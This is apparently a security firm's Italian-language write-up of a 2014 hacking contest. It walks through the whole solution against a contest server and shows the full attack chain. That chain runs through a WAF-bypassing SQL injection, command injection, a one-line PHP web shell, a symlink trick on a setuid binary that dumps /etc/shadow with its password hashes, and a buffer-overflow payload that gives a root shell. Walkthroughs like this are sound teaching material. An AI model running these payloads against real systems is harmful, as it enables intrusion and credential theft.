Seeweb ha organizzato un HACKING CONTEST iniziato l’1 Dicembre e terminato ieri, 14 Dicembre, alle 00:00. Noi di Shielder abbiamo partecipato e, come promesso, rilasceremo la soluzione completa così da poter spiegare al meglio i passaggi svolti a chi si è bloccato e per confrontare le nostre soluzioni con chi ne ha trovate di diverse.
Questa è la storia creata ad-hoc da Seeweb per il contest.
Nel 1990 una banda di ladri guidata da Mario Ventura ruba un diamante di 10 milioni di Euro, ma, durante la fuga, tutti banditi vengono catturati ad eccezione di uno, che riesce a scappare con la refurtiva.
Ventiquattro anni dopo, a fine novembre, l’ispettore Bianchi viene invitato a una conferenza nel Cloud Resort gestito dalla famiglia Ventura. Il nome gli era familiare e dopo alcune ricerche riesce a scoprire che il resort è gestito da Simone Ventura, figlio di Mario, e da sua moglie, Sofia Gonzales.
Vista la coincidenza decide di riaprire il caso, per svelare il nome dell’ultimo ladro, tenuto segreto per più di venti anni dagli altri membri della banda.
Nel corso delle indagini scoprirà che costui è il padre defunto di Sofia Gonzales e che il diamante, tenuto in un luogo segreto, sta per essere venduto al mercato nero. Secondo una soffiata anonima, il compratore del gioiello è in contatto con un ospite del resort, un certo Gary Poulsen, ma ha bisogno del tuo aiuto per scoprire:
- L’identità del compratore;
- Il luogo dove avverrà l’acquisto;
- Dove è stato nascosto il diamante
Per partecipare non era richiesta alcuna iscrizione, era sufficiente visitare il sito web del CLOUD RESORT e tirare fuori le proprie capacità di White Hat per trovare le varie soluzioni. Era possibile inviare una sola soluzione ed il primo ad inviare la soluzione corretta avrebbe ricevuto il premio per quel determinato enigma!
Linguaggi: PHP, HTML, CSS, Javascript
Indirizzo IP: 212.25.162.18 -> risponde direttamente con la home page del cloud resort
Porte aperte: 80[http], 61282[ssh]
Web server: nginx
Dopo aver raccolto queste informazioni preliminari la nostra attenzione si è concentrata sul form dei contatti, che apparentemente, salvo la pagina di login, era l’unico di modo di interagire con il server. Purtroppo questa pista, dopo alcuni tentativi si è rivelata un honeypot, infatti il codice sorgente della pagina contattaci.php riporta quanto segue.
Anche la pagina login.php risultava impossibile da exploitare.
Daniele ci ha segnalato che era possibile bypassare il login modificando il form e trasformando ogni input in un’array!
Ci siamo quindi spostati su un’analisi dei sorgenti html delle varie pagine a nostra disposizione, per capire se c’era qualche informazione nascosta. Dopo un po’ di ricerche abbiamo trovato un commento html nella pagina eventi.php, nel quale c’era un link a prenota_meeting.php, pagina fino ad ora inesplorata.
Una volta visitata ci siamo trovati davanti a una pagina ancora in costruzione, contente un form che ci permetteva di inserire uno username. Dopo qualche prova è stato subito chiaro che era possibile exploitare una SQL Injection, anche se il WAF bloccava determinate stringhe (OR, or, SELECT, select, CREATE, create, –). Essendo SQL un linguaggio non case sensitive è stato sufficiente sostituire le stringhe sopra citate con le stesse formate da combinazioni di lettere maiuscole e minuscole (oR, Or, SeLect, …). Il risultato della query veniva registrato in un array, la quale poi era stampata a schermo.
Dopo aver ottenuto username e password abbiamo provato ad analizzare il database MySQL (senza accesso ad information_schema) alla ricerca di altre tabelle, non trovando nulla. Gli unici dati raccolti, con PROCEDURE ANALYSE() e varie UNION SELECT, sono stati:
A questo punto potevamo eseguire il login con Gary, .Dr4G0n. e navigare nella pagina main.php.
Provando a leggere il messaggio di posta si veniva rimandati su una pagina di servizio (posta.php) che ci indicava che il la webmail era fuori servizio, ma che i messaggi non erano andati perduti.
La pagina main.php permetteva anche di inserire 3 diversi codici per attivare 3 rispettivi servizi, però se si provava ad inserire un qualsiasi codice veniva restituito un messaggio standard, che ci informava che avremmo dovuto contattare il personale per effettuare le attivazioni.
Analizzando il sorgente della pagina si notava che per ogni era presente un con value=”0″, che se veniva modificato in un qualsiasi altro numero permetteva di bypassare il messaggio precedente, ma non possedendo il codice corretto per nessuno dei 3 input compariva sempre Codice Errato / Codice Counpon non valido.
Facendo diverse prove si poteva notare una Remote Command Execution all’interno di questo form, più precisamente nel campo txtPpv, dato che lato php il testo inserito veniva messo nel comando system(“command_attiva_ppv $uinput”); era quindi possibile inserire ulteriori comandi, che venivano poi eseguiti sul server e stampato a schermo il loro risultato, concatenandoli ad esempio con pipe ( | ) o con un “a capo”, opportunamente mascherati con una double urlencode.
Per sfruttare dunque questa vulnerabilità era sufficiente modificare il campo fPpv e settare come value 1, inserire nel campo txtPpv il nostro payload, ad esempio %7C ls -la, inviare il form e vedere sulla pagina il risultato del nostro comando.
Ho messo %7C perché da browser questo viene trasformato in %257C all’invio, se si usasse una richiesta diretta tramite Zap Proxy sarebbe stato necessario inserire il payload passato sotto double urlencode!
Da qui in poi il primo passaggio che viene in mente è senza dubbio quello di caricare una shell, il che era possibile grazie a una directory di nginx scrivibile e navigabile all’indirizzo http://cloudresort.it/uploads/ unita alla presenza di wget, ma anche solo grazie a un semplice comando come echo '<?php system($_GET["cmd"]); ?>' > uploads/shell.php
che va a creare una shell basilare richiamabile da browser http://cloudresort.it/uploads/shell.php?cmd=whoami
Esplorando le cartelle del webserver faceva capolino una cartella di nome messages con 264 sottocartelle ognuna chiamata con un numero sequenziale a partire da 1. Ognuna conteneva un file di nome message con all’interno una mail encodata in base64, tutte uguali, salvo quella nella cartella 103 (numero della stanza del nostro amico Gary) che conteneva la prima soluzione, ovvero il nome dell’acquirente.
RnJvbSBpbmZvQGNsb3VkcmVzb3J0ICBNb24gRGVjIDEgMDA6MDA6MDEgMjAxNApS<br /> ZXR1cm4tUGF0aDogPGluZm9AY2xvdWRyZXNvcnQ+ClJlY2VpdmVkOiBmcm9tIGxv<br /> Y2FsaG9zdCAobG9jYWxob3N0LmxvY2FsZG9tYWluIFsxMjcuMC4wLjFdKQoJYnkg<br /> bG9jYWxob3N0LmxvY2FsZG9tYWluICg4LjExLjZwMi84LjkuMykgd2l0aCBFU01U<br /> UCBpZCBvQktCVURaMDM4NTkKCWZvciA8dXNlcj47IE1vbiBEZWMgMSAwMDowMDow<br /> MSAyMDE0ICswMTAwCkRhdGU6IE1vbiBEZWMgMSAwMDowMDowMSAyMDE0ICswMTAw<br /> IChDRVQpCkZyb206IENsb3VkIFJlc29ydCA8aW5mb0BjbG91ZHJlc29ydD4KVG86<br /> IHVzZXIKTWVzc2FnZS1JRDogPDIxNDY5NTAwLjE1ODY2NDEyOTI4NDQ2MTA2Mjgu<br /> SmF2YU1haWwud3d3LWRhdGFAc3J2MjM4PgpTdWJqZWN0OiBCZW52ZW51dG8KTUlN<br /> RS1WZXJzaW9uOiAxLjAKQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9<br /> VVRGLTgKQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogcXVvdGVkLXByaW50YWJs<br /> ZQpYLVNwYW0tTGV2ZWw6ClgtVmlydXMtU2Nhbm5lZDogY2xhbWF2LW1pbHRlcgpY<br /> LVZpcnVzLVN0YXR1czogQ2xlYW4KU3RhdHVzOiBSTwpYLVN0YXR1czogClgtS2V5<br /> d29yZHM6ICAgICAgICAgICAgICAgICAgICAKWC1VSUQ6IDUxOQoKCkdlbnRpbGUg<br /> VXRlbnRlLApsbyBzdGFmZiBkaSBDbG91ZCBSZXNvcnQgbGUgZGEgaWwgYmVudmVu<br /> dXRvLgo=
From info@cloudresort Mon Dec 1 00:00:01 2014
Return-Path: info@cloudresort
Received: from localhost (localhost.localdomain [127.0.0.1])
by localhost.localdomain (8.11.6p2/8.9.3) with ESMTP id oBKBUDZ03859
for ; Mon Dec 1 00:00:01 2014 +0100
Date: Mon Dec 1 00:00:01 2014 +0100 (CET)
From: Cloud Resort info@cloudresort
To: user
Message-ID: 21469500.1586641292844610628.JavaMail.www-data@srv238
Subject: Benvenuto
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Level:
X-Virus-Scanned: clamav-milter
X-Virus-Status: Clean
Status: RO
X-Status:
X-Keywords:
X-UID: 519
Gentile Utente,
lo staff di Cloud Resort le da il benvenuto.
RnJvbSBpbmZvQGNsb3VkcmVzb3J0ICBNb24gRGVjIDEgMDA6MDA6MDEgMjAxNApS<br /> ZXR1cm4tUGF0aDogPGluZm9AY2xvdWRyZXNvcnQ+ClJlY2VpdmVkOiBmcm9tIGxv<br /> Y2FsaG9zdCAobG9jYWxob3N0LmxvY2FsZG9tYWluIFsxMjcuMC4wLjFdKQoJYnkg<br /> bG9jYWxob3N0LmxvY2FsZG9tYWluICg4LjExLjZwMi84LjkuMykgd2l0aCBFU01U<br /> UCBpZCBvQktCVURaMDM4NTkKCWZvciA8dXNlcj47IE1vbiBEZWMgMSAwMDowMDow<br /> MSAyMDE0ICswMTAwCkRhdGU6IE1vbiBEZWMgMSAwMDowMDowMSAyMDE0ICswMTAw<br /> IChDRVQpCkZyb206IENsb3VkIFJlc29ydCA8aW5mb0BjbG91ZHJlc29ydD4KVG86<br /> IHVzZXIKTWVzc2FnZS1JRDogPDIxNDY5NTAwLjE1ODY2NDEyOTI4NDQ2MTA2Mjgu<br /> SmF2YU1haWwud3d3LWRhdGFAc3J2MjM4PgpTdWJqZWN0OiBJbXBvcnRhbnRlCk1J<br /> TUUtVmVyc2lvbjogMS4wCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0<br /> PVVURi04CkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IHF1b3RlZC1wcmludGFi<br /> bGUKWC1TcGFtLUxldmVsOgpYLVZpcnVzLVNjYW5uZWQ6IGNsYW1hdi1taWx0ZXIK<br /> WC1WaXJ1cy1TdGF0dXM6IENsZWFuClN0YXR1czogUk8KWC1TdGF0dXM6IApYLUtl<br /> eXdvcmRzOiAgICAgICAgICAgICAgICAgICAgClgtVUlEOiA1MTkKCgpDaWFvIEdh<br /> cnksCnNvbm8gIlZpa3RvciBGaWxpcHBlbmtvIi4KSG8gYmlzb2dubyBkaSBjb25j<br /> bHVkZXJlIGwnYWNxdWlzdG8gYWwgcGnDuSBwcmVzdG8uClRpIGNvbmZlcm1vIGls<br /> IG5vc3RybyBpbmNvbnRybyBwZXIgZG9tYW5pLgoKYSBwcmVzdG8K
From info@cloudresort Mon Dec 1 00:00:01 2014
Return-Path: info@cloudresort
Received: from localhost (localhost.localdomain [127.0.0.1])
by localhost.localdomain (8.11.6p2/8.9.3) with ESMTP id oBKBUDZ03859
for ; Mon Dec 1 00:00:01 2014 +0100
Date: Mon Dec 1 00:00:01 2014 +0100 (CET)
From: Cloud Resort info@cloudresort
To: user
Message-ID: 21469500.1586641292844610628.JavaMail.www-data@srv238
Subject: Importante
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Level:
X-Virus-Scanned: clamav-milter
X-Virus-Status: Clean
Status: RO
X-Status:
X-Keywords:
X-UID: 519
Ciao Gary,
sono “Viktor Filippenko”.
Ho bisogno di concludere l’acquisto al più presto.
Ti confermo il nostro incontro per domani.
a presto
SOLUZIONE 1 -> Viktor Filippenko
Facendo il punto della soluzione adesso abbiamo un accesso via shell al server con l’utente www-data, leggendo il file /etc/passwd vediamo che oltre all’utente root c’è un utente chiamato resort che potrebbe interessarci, dato che ha una sua home.
root:x:0:0:root:/root:/bin/bash<br /> daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br /> bin:x:2:2:bin:/bin:/bin/sh<br /> sys:x:3:3:sys:/dev:/bin/sh<br /> sync:x:4:65534:sync:/bin:/bin/sync<br /> games:x:5:60:games:/usr/games:/bin/sh<br /> man:x:6:12:man:/var/cache/man:/bin/sh<br /> lp:x:7:7:lp:/var/spool/lpd:/bin/sh<br /> mail:x:8:8:mail:/var/mail:/bin/sh<br /> news:x:9:9:news:/var/spool/news:/bin/sh<br /> uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh<br /> proxy:x:13:13:proxy:/bin:/bin/sh<br /> www-data:x:33:33:www-data:/var/www:/bin/sh<br /> backup:x:34:34:backup:/var/backups:/bin/sh<br /> list:x:38:38:Mailing List Manager:/var/list:/bin/sh<br /> irc:x:39:39:ircd:/var/run/ircd:/bin/sh<br /> gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh<br /> nobody:x:65534:65534:nobody:/nonexistent:/bin/sh<br /> libuuid:x:100:101::/var/lib/libuuid:/bin/sh<br /> sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin<br /> mysql:x:101:103:MySQL Server,,,:/nonexistent:/bin/false<br /> resort:x:1000:1000:Cloud Resort Staff,,,:/home/resort:/bin/bash
Facendo una ricerca degli eseguibili a disposizione del nostro utente, che avessero privilegi elevati (Stiky Bit) si trovava un file nella cartella /bin chiamato tgr.
935779 16 -rwsr-xr-x 1 root root 13003 Nov 28 09:40 /bin/tgr
Provando ad eseguire il file e guardando i processi in esecuzione si vedeva che tgr, anche se avviato da www-data veniva eseguito con permessi di root.
[2J[1;1Htgr: User Commands<br /> NAME<br /> tgr - general command<br /> SYNOPSIS<br /> tgr [OPTION]...<br /> -u<br /> Update system files<br /> -c<br /> Check Kernel version<br /> -l<br /> List functions<br /> -p<br /> Parity check<br /> -d<br /> Update system path<br /> -m<br /> Modify user data
Analizzando il file in esecuzione con strace, avviato con l’argomento -l si notava questo output.
open("/var/lock/tiger.tmp", O_RDONLY) = -1 ENOENT (No such file or directory)
Tgr provava quindi ad aprire il file tiger.tmp nella cartella /var/lock, la quale era un link a /run/lock, la quale a sua volta era scrivile da www-data. Non restava che creare un file tiger.tmp e vedere cosa succedeva. Il risultato era vedere a schermo, una volta avviato tgr -l, il contenuto del file tiger.tmp. Ricordandoci di avere i permessi di root in lettura potevamo creare il file tiger.tmp come symlink a /etc/shadow, potendo così leggere il file delle password!
root:$6$mQYSBw6H$RW6ysPbxZVGOfkxyRoAhnecJr9svwdutFTOojVGguux8QpgdkDYx/ZgE2bKBACJdzqJWd5hdmG8dzENeS707..:16401:0:99999:7:::<br /> daemon:*:15831:0:99999:7:::<br /> bin:*:15831:0:99999:7:::<br /> sys:*:15831:0:99999:7:::<br /> sync:*:15831:0:99999:7:::<br /> games:*:15831:0:99999:7:::<br /> man:*:15831:0:99999:7:::<br /> lp:*:15831:0:99999:7:::<br /> mail:*:15831:0:99999:7:::<br /> news:*:15831:0:99999:7:::<br /> uucp:*:15831:0:99999:7:::<br /> proxy:*:15831:0:99999:7:::<br /> www-data:*:15831:0:99999:7:::<br /> backup:*:15831:0:99999:7:::<br /> list:*:15831:0:99999:7:::<br /> irc:*:15831:0:99999:7:::<br /> gnats:*:15831:0:99999:7:::<br /> nobody:*:15831:0:99999:7:::<br /> libuuid:!:15831:0:99999:7:::<br /> sshd:*:15831:0:99999:7:::<br /> mysql:!:16401:0:99999:7:::<br /> resort:$6$InsmhsWR$57F/3HtLW6wYj1V8g.gVQFbI2NxOlUvODiACzsHxfYlrvAPO5soR6U1FzuGmu3/3T2ek2rHCLO08IRE9J/SLp1:16404:0:99999:7:::
Passando il file in pasto a John the Ripper troveremo nell’arco di una manciata di secondi la password dell’utente resort, ovvero “pulsar”. (senza virgolette)
Grazie alla scansione preliminare fatta con nmap avevamo individuato una porta che permetteva la connessione via ssh che ora potremmo sfruttare avendo username e password!
Nella home dell’utente resort troviamo un file di testo chiamato w00t che contiene la soluzione al secondo enigma, con un “cat w00t” otteniamo il luogo dell’incontro:
Complimenti, hai raggiunto il secondo obiettivo.<br /> L'acquisto avverra' qui:<br /> Osservatorio Astronomico "Maxwell Krauss"
SOLUZIONE 2 -> Osservatorio Astronomico “Maxwell Krauss”
Ora non ci resta che trovare dov’è nascosto il diamante. Non potendo trovare altri file interessanti leggibili dall’utente Resort è necessaria una ulteriore Privilege Escalation per diventare root, purtroppo John The Ripper non è riuscito a tirare fuori la sua password dal file shadow, è dunque necessario cercare un’altra strada! Per farlo sfruttiamo una tecnica simile alla precedente, cercando di nuovo eseguibili con “Stiky Bit” che possiamo far girare dall’utente resort con permessi di root. L’unico che troviamo è write_flash sempre nella cartella /bin. Che eseguito ci chiede due parametri.
Usage: write_flash <Username> <SysRQ>
Provando dare due parametri casuali wite_flash prova1 prova2
otteniamo.
[!] Flashing system memory!!! Do not halt system!:<br /> [+] Using registers: 0xffce57 0xffcd57 0xffcc57 0xffcc57 0x9ffacd 0x8ffacd 0x7ffacd 0x6ffacd 0x5ffacd 0x4ffacd 0x4005a0 0x6012a0 0x86ce57 0x86ce47 0x86ce37 0x86ce27 0x4008f8 0x4008e8 0x4008d8 0x4008c8 0x4008b8<br /> [+] Using SysRQ -> prova2<br /> [!] Done!
Provando ad inserire una lunga serie di caratteri come primo parametro si nota che il programma crasha write_flash "$(perl -e 'print "A"x1048')" a
[!] Flashing system memory!!! Do not halt system!:<br /> [+] Using registers: 0xffce57 0xffcd57 0xffcc57 0xffcc57 0x9ffacd 0x8ffacd 0x7ffacd 0x6ffacd 0x5ffacd 0x4ffacd 0x4005a0 0x6012a0 0x86ce57 0x86ce47 0x86ce37 0x86ce27 0x4008f8 0x4008e8 0x4008d8 0x4008c8 0x4008b8<br /> Errore di segmentazione<br /> [Exit 139 (SIGSEGV)]<br />
Questo ci fa capire che è possibile un buffer overflow. Scarichiamo quindi l’eseguibile per poterlo passare in locale sotto le grinfie di gdb!
Facendo una prima analisi si nota che il programma crasha dai 1025 caratteri in su dati come primo argomento e che dopo viene sovrascritto il registro eip, responsabile di indirizzare il processore all’istruzione successiva.
Dando da gdb info functions
vediamo che tra le varie funzioni il programma ne possiede una chiamata system, la quale sembra molto interessante e che risponde all’indirizzo di memoria 0x4005a0.
Proviamo quindi a sovrascrivere l’eip, facendolo puntare all’indirizzo appena trovato!write_flash "$(perl -e 'print "A"x1024,"\xa0\x05\x40"')" a
[!] Flashing system memory!!! Do not halt system!:<br /> [+] Using registers: 0xffce57 0xffcd57 0xffcc57 0xffcc57 0x9ffacd 0x8ffacd 0x7ffacd 0x6ffacd 0x5ffacd 0x4ffacd 0x4005a0 0x6012a0 0x86ce57 0x86ce47 0x86ce37 0x86ce27 0x4008f8 0x4008e8 0x4008d8 0x4008c8 0x4008b8<br /> sh: 1: a: not found
Molto interessante, sembra che la funzione system chiami appunto una shell e che provi ad eseguire il contenuto del secondo argomento, nel nostro caso “a”, che chiaramente da un errore! Proviamo a sostituire il secondo parametro e a richiamare una vera e propria shell.write_flash "$(perl -e 'print "A"x1024,"\xa0\x05\x40"')" /bin/sh
[!] Flashing system memory!!! Do not halt system!:<br /> [+] Using registers: 0xffce57 0xffcd57 0xffcc57 0xffcc57 0x9ffacd 0x8ffacd 0x7ffacd 0x6ffacd 0x5ffacd 0x4ffacd 0x4005a0 0x6012a0 0x86ce57 0x86ce47 0x86ce37 0x86ce27 0x4008f8 0x4008e8 0x4008d8 0x4008c8 0x4008b8<br /> $
Trovato! Possiamo dare tutti i comandi che vogliamo al server con gli stessi privilegi del programma, che poi sono i privilegi di root!
Proviamo a navigare la home di root per vedere se troviamo la soluzione all’ultimo enigma!
SOLUZIONE 3 -> Cassetta di sicurezza numero 27, nell’edificio B2 del “Max Planck Institute”
Congratulazione a tutti i vincitori e grazie a Seeweb per avermi incluso tra i vincitori!
Vi aggiornerò nei prossimi giorni quando riceverò il mio premio!
Speriamo di essere stati chiari nello spiegare i vari passaggi e ne approfittiamo per ringraziare tutto il team di Seeweb che ci ha regalato questa magnifica esperienza!
Se avete trovato soluzioni più eleganti o volete qualche chiarimento su un passaggio poco chiaro non esitate a commentare!
Next post